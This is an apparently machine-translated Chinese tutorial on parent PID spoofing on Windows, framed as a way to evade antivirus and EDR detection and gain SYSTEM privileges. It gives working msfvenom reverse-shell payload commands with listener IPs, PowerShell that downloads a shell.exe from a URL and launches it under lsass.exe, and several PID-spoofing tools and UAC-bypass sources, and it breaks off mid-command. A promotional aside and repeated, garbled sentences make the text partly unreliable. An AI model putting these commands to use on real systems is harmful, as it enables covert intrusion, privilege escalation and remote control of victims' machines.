win指定过程无法结束 (win指定过程无法结束怎么办) 概述

父亲的过程欺骗是一种访问令牌操作技术,通过恶意文件PPID指定为explorer.exe等合法进程PPID,可以帮助攻击者避免启发式检测等防御技术。

这种欺骗可以通过使用本地使用API调用可以帮助攻击者指定显式PID,如C 中的CreateProcess调用。正如我们将在本文中看到的,这种显式分配也可能有一些附带好处。

MITRE 战术:提高权限(TA0004)和 防御规避(TA0005)

MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取和使用

子技术:T1134.004 :访问令牌操作:父亲 PID 欺骗

背景:

子过程监测是威胁狩猎最常见的指标之一。如果应急响应人员可能会分析 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 生成等零相关应用程序表明可能存在潜在威胁。如果应急响应人员可能会分析 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 生成零相关应用程序表明可能存在潜在威胁。安全防护软件将在启发性检测下监控此行为,并向管理员发出报警。

父PID(PPID)欺骗可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法过程正在进行中。它通过欺骗过程 PID 匹配父亲的过程 PID 这样做。这种方法的另一个好处是,如果父亲的过程是这样的话 SYSTEM 如果权限运行,可以继承访问令牌,使其子过程相同 SYSTEM 权限。

【-全网最完整的网络安全学习资料包与爱学习的你分享,关注我,私信回复收获取-

1.从多个方向学习网络安全路线

2.全网最全CTF入门学习资料

3.分享一线老板的实战经验笔记

4.网安大厂面试题集合

5.红蓝对抗实战技术秘籍

6.网络安全基础介绍,Linux、web视频安全和渗透测试

进程、PID和PPID

进程:在 Windows 中,应用程序由一个或多个过程组成。简单地说,目前正在运行的部分程序称为过程。简单地说,目前正在运行的部分程序称为过程。不同的应用程序可能会使用相同的过程(例如cmd.exe),为了避免歧义,将一个整数分配给一个过程和另一个过程。该整数称为PID。

PID:代表过程标识符 (PID),它是运行过程中的数字表示。Windows 中通过 GetCurrentProcessID() 函数返回指定的过程 PID。

父进程:父过程是一个可以衍生多个子过程的过程。例如,命令explorer.exe /e,/root,"C:\\WINDOWS\\System32\\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。可用于代码中的父过程fork()系统调用衍生子过程。

PPID:代表父亲的过程标识符(PPID),它是为父亲提供过程的数字表示。任何包含子过程的过程都有父子关系。

方法一(使用C 程序进行PID欺骗)

Didier Stevens 最初在这里的帖子里谈到了Windows API——"CreateProcess";这种方法。还发布了一个用途C 编写的使用程序(SelectMyParent)。这里可以下载代码:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

请注意,如果你使用更高版本Visual Studio,这可能需要重生EXE。在Visual Studio2022年,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件重新生成项目,使其运行。

你会在过程管理器中看到它 explorer.exe 在 PID 1624 上运行

所以,在这个父亲 explorer.exe在这个过程中运行我们自己的二进制文件,可以这样使用 SelectMyParent.exe,你会看到在 PID 1624创造了一个新的过程。

E:\\>SelectMyParent.exe notepad 1624

可以看到在PID 2836启动了notepad.exe

同样,我们也可以自己操作EXE。让我们先用msfvenom创造一个可以反弹的shell的exe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

在感染端,使用tasklist /v查看过程操作细节。

列表中可以看到explorer.exe进程以test身份在进程ID 1624上运行。

然后运行生成shell.exe,并附属在explorer.exe的PID下


收到的监听端shell便是explorer.exe用户权限的过程

若使用具有system可以提高权限的过程。


方法二(使用Powershell DLL注入进行PID欺骗)

F-Secure 实验室利用 powershell 替代上述Didier 二进制文件方案。它也可以用来欺骗父亲的过程。与上述方法不同,它可以注入DLL子过程衍生为子过程,功能更强大。这里可以下载代码https://github.com/countercept/ppid-spoofing,首先,检查受害者机器上的过程ID,我们在这里选择 Powershell 的 PID 24092 作为父进程ID。

利用msfvenmon注入生成DLL

msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll[-]No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-]No arch selected, selecting arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 460 bytesFinal size of dll file: 8704 bytes

然后注入:

Import-Module .\\PPID-Spoof.ps1PPID-Spoof -ppid 24092 -spawnto "C:\\Windows\\System32\ otepad.exe" -dllpath .\\shell.dll

可见注入DLL在Notepad.exe执行中加载。

通过这种方式,PPID 24092上的powershell.exe有插入代码的过程衍生出来(由DLL提供)的notepad.exe。

方法三(使用Powershell 脚本入进行PID欺骗)

Decoder-it 根据 Didier Stevens 提供的指南的指南 powershell 脚本,用了 CreateProcessFromParent() 方法,能在这里找到的psgetsystem脚本:https://github.com/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子的过程。首先,让我们检查所需的过程 PID。这里以lsass.exe为例

然后执行以下命令:

powershell -ep bypassImport-Module .\\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\\shell.exe","")

假如报错了,可能是UAC需要先绕过的问题UAC,或者权限过低,需要提权。

绕过UAC这里可以找到脚本:https://github.com/samratashok/nishang/tree/master/Escalation

下载所需文件,然后执行命令

$client=new-object System.Net.WebClient $client.DownloadFile("http://<url>/psgetsys.ps1",".\\psgetsys.ps1")$client.DownloadFile("http://<url>/shell.exe",".\\shell.exe")Import-Module .\\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\\shell.exe","")

可以看到在lsass.exe由于子过程的成功创建,子过程成功了lsass.exe是system权限,所以反弹shell也获取到了system权限。


方法四(使用C#程序进行PID欺骗)

py7hagoras开发了GetSystem该项目是上述技术C#实现,这里可以找到:https://github.com/py7hagoras/GetSystem.git

在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名

GetSystem.exe shell.exe -O lsass



注:这里也可能需要绕过:UAC或者提权,否则执行不成功。

方法五(通过PID欺骗注入Shellcode)

Chirag Savla 使用 C# 开发一个名字叫ProcessInjection优秀的工具可以执行许多功能,包括 PID 注入欺诈过程。提供有效的 PID,尝试使用这个工具 CreateProcess 等原生 API 调用来欺骗 PID,然后注入代码。提供有效的 PID,尝试使用这个工具 CreateProcess 等原生 API 调用来欺骗 PID,然后注入代码。工具支持 hex、C 和 base64 格式的shellcode ,也可以选择 DLL 注入。在此下载工具:https://github.com/3xpl01tc0d3r/ProcessInjection

首先,使用msfvenom创建一个shellcode代码

msfvenom -p windows/ x6